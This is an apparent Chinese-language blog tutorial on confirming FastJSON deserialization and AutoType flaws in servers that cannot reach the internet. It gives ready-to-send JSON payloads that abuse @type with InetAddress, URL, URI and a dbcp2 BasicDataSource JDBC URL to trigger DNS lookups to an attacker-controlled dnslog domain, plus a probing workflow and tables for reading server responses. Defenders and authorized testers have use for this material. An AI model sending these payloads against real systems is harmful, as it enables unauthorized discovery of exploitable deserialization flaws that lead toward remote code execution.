DNS 一响,漏洞登场!FastJSON 不出网探针全攻略

DNS 一响,漏洞登场!FastJSON 不出网探针全攻略

🧨 FastJSON “不出网验证” 全解析

从一次普通的 POST 请求,如何判断目标后端用了 FastJSON?还能不能打?是否开启了 AutoType?今天给你掰开揉碎讲清楚:如何在“目标无法访问公网”的条件下判断 FastJSON 是否存在可利用的反序列化漏洞


🎯 什么是“不出网验证”?

在企业内网或高安全环境中,很多服务并不能访问公网 HTTP 接口。 但你又想知道:

  • 🎯 是否使用了 FastJSON?
  • 🎯 是否未关闭 AutoType?
  • 🎯 是否有反序列化触发点?

于是,我们引入了“不出网验证”——不依赖 HTTP/RCE/回显,仅通过 DNS 或局部副作用判断漏洞是否存在

不出网的详细解释见文章《企业架构中最容易误解的概念:DMZ 不出网 ≠ 无法被访问


🧪 一、利用 InetAddress 触发 DNS 请求

🚀 Payload

 {
   "@type": "java.net.InetAddress",
   "val": "geekserver.top.dnslog.cn"
 }

🧠 利用原理

  1. FastJSON 会反射加载 InetAddress 类;
  2. 调用 InetAddress.getByName(),尝试解析域名;
  3. 触发一次 DNS 请求 → 发送到你的 dnslog.cn
  4. 无需出网访问 HTTP,即可知道是否存在反序列化点。

✅ 特点

  • DNS 请求穿透能力强;
  • 只需一个 POST 请求,黑盒即可测试;
  • 绝大多数环境都能触发,成功率高。

🔍 二、利用 URL/URI 触发域名解析

🚀 Payload

 {
   "@type": "java.net.URL",
   "val": "http://geekserver.top.dnslog.cn"
 }

或:

 {
   "@type": "java.net.URI",
   "val": "http://geekserver.top.dnslog.cn"
 }

🧠 利用原理

这两种类在被实例化时,也可能触发域名解析或网络连接尝试(取决于后续是否使用它们),用于探测一些 懒加载网络类 的反序列化行为。

✅ 特点

  • 可能无法直接触发 DNS 请求,但可用于组合利用;
  • 在某些 Web 服务组件中效果更佳(如 URL 连接池、资源读取等)。

🎯 三、利用 Locale/TimeZone 等类

🚀 Payload

 {
   "@type": "java.util.Locale",
   "val": "en_US"
 }

或:

 {
   "@type": "java.util.TimeZone",
   "val": "Asia/Shanghai"
 }

🧠 利用原理

  • 这些类被实例化时会访问系统缓存或资源表;
  • 在某些框架下可能留下日志副作用、响应差异、内存行为变化
  • 可利用日志侧信道进一步识别。

✅ 特点

  • 无需 DNS/HTTP,适合日志侧信道探测;
  • 需配合白盒 / 漏洞挖掘场景使用。

💣 四、内存探针类进行漏洞链判断

🚀 Payload

 {
   "@type": "org.apache.commons.dbcp2.BasicDataSource",
   "driverClassName": "com.mysql.jdbc.Driver",
   "url": "jdbc:mysql://your-uuid.dnslog.cn/db"
 }

🧠 原理说明:

  • 在某些 JDBC 类被反序列化后,会尝试发起数据库连接;
  • 可用于判断是否存在远程加载/初始化行为。

⚠️ 注意:

FastJSON 新版本中大部分“危险类”被加入黑名单或需要显式白名单,建议配合版本判断进行定向利用。


🔍 探测流程

步骤行为判断依据
① 构造 JSON Payload使用 @type + DNS 字段流量/响应
② 监听 DNS 请求使用 dnslog.cn / ceye.io有记录即可确认
③ 分析响应副作用结合日志、内存 dump、异常信息排查日志

🚨 快速判断技巧

请求响应特征含义
响应非常快、无错误服务可能没有反序列化逻辑
响应变慢 / 报错 AutoType is not supportedFastJSON 存在,但 AutoType 被禁用
DNS 请求成功 / 日志中有访问行为服务解析了 JSON 并反射加载了类(漏洞存在!)

✅ 总结

利用方式是否需要出网成功率
InetAddress.getByName❌ 不需要⭐⭐⭐⭐⭐
URL/URI❌ 一般不需要⭐⭐⭐
Locale/TimeZone❌ 不需要⭐⭐
JdbcRowSetImpl✅(rmi/http)⭐⭐⭐⭐

© 版权声明
THE END
喜欢就支持一下吧
点赞14赞赏 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容